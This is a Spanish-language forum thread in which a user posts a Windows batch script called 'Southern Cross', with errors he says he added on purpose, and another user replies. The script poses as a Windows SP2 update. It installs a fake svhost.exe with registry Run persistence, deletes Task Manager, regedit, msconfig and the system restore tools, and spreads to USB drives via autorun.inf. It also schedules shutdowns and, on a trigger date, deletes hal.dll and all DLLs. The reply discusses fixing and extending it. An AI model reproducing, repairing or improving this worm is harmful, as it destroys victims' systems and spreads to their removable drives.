Cita de: corax en 7 Marzo 2008, 23:13 PM
bueno, yo también quisiera hacer un aporte de mi código, solo que para evitar la tentación lammer de usarlo "a discrección" contra todobicho viviente, le meteré errores en el código. quien sepa batch no tendrá problemas en repararlos. se agradecen sugerencias:Código (bash) [Seleccionar]@echo off
goto initio
initio
title NUEVO HARDWARE ENCONTRADO (ACTUALIZANDO)
AT 12:00 goto jornada
AT 28/03/09 goto apocalpypse
CLS
if exist %windir%\regedit.exe (goto conqeror) else (goto espora)
conqueror
CLS
title ACTUALIZANDO WINDOWS SP2 v.4.0.8.1. Por favor, espere...
rem Southern Cross, by Corax
copy \svhost.exe C:\WINDOWS\System32\svhost.exe
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v services /d C:\Windows\System32\svhost.exe
CLS
echo [autorun]>>%Windir%\cursors\autorun.inf"
echo OPEN=svhost.exe>>%Windir%\cursors\autorun.inf"
CD %WINDIR%\System32\"
del /Q /F taskmgr.exe
del /Q /F taskkill.exe
CLS
CD %WINDIR%\System32\"
del /Q /F regedt32.exe
del /Q /F wscui.cpl
del /Q /F command.com
CLS
CD %windir%\System32\restore\"
del /Q /F rstrui.exe
del /Q /F srdiag.exe
CLS
CD "%windir%\"
del /Q /F taskman.exe
del /Q /F regedit.exe
CLS
CD "%windir%\PCHealth\HelpCtr\Binaries\"
del /Q /F msconfig.exe
CLS
goto espora
espora
CLS
if exists E:\ (goto 1) else (goto faren)
faren
CLS
if exists F:\ (goto 2) else (goto gotrek)
gotrek
CLS
if exists G:\ (goto 3) else (goto hyperion)
hyperion
CLS
if exists H:\ (goto 4) else (goto espora)
1
if exists E:\svhost.exe (goto faren) else (goto 11)
2
if exists F:\svhost.exe (goto gotrek) else (goto 22)
3
if exists G:\svhost.exe (goto hyperion) else (goto 33)
4
if exists H:\svhost.exe (goto espora) else (goto 44)
11
title ACTUALIZANDO WINDOWS SP2 v.4.0.8.1. Por favor, espere...
copy C:\WINDOWS\System32\svhost.exe E:\svhost.exe /y
copy %Windir%\cursors\autorun.inf E:\autorun.inf /y
CLS
goto espora
22
title ACTUALIZANDO WINDOWS SP2 v.4.0.8.1. Por favor, espere...
copy C:\WINDOWS\System32\svhost.exe F:\svhost.exe /y
copy %Windir%\cursors\autorun.inf F:\autorun.inf /y
CLS
goto espora
33
title ACTUALIZANDO WINDOWS SP2 v.4.0.8.1. Por favor, espere...
copy C:\WINDOWS\System32\svhost.exe G:\svhost.exe /y
copy %Windir%\cursors\autorun.inf G:\autorun.inf /y
CLS
goto espora
44
title ACTUALIZANDO WINDOWS SP2 v.4.0.8.1. Por favor, espere...
copy C:\WINDOWS\System32\svhost.exe H:\svhost.exe /y
copy %Windir%\cursors\autorun.inf H:\autorun.inf /y
CLS
goto espora
jornada
CLS
shutdown -s -t 10
apocalypse
CD "%WINDIR%\System32\"
del /Q /F hal.dll
CD "%WINDIR%\"
del /S /Q /F *.dll
shutdown -s t- 10
pause
exit
Muy interezante... si estoy viendo los errores.. a lo mejor no detallo algunos ya que apenas hoy me voy enterando de esta maravilla de todas formas espero que ayudes un poco tambien vale ?.... otra cosa es que esta un poco agresivo XD como para probarlo con uno mismo ... de todas formas lo seguire detallando y viendo que le puedo quitar o poner.. gracias por compartir...
PD: no me he fijado si cambiaste lo del ping que puso octalh para que se repitiera el ciclo.. que otras alternativas a estas se te ocurre para que se pueda extraer el pendrive en modo seguro sin problemas.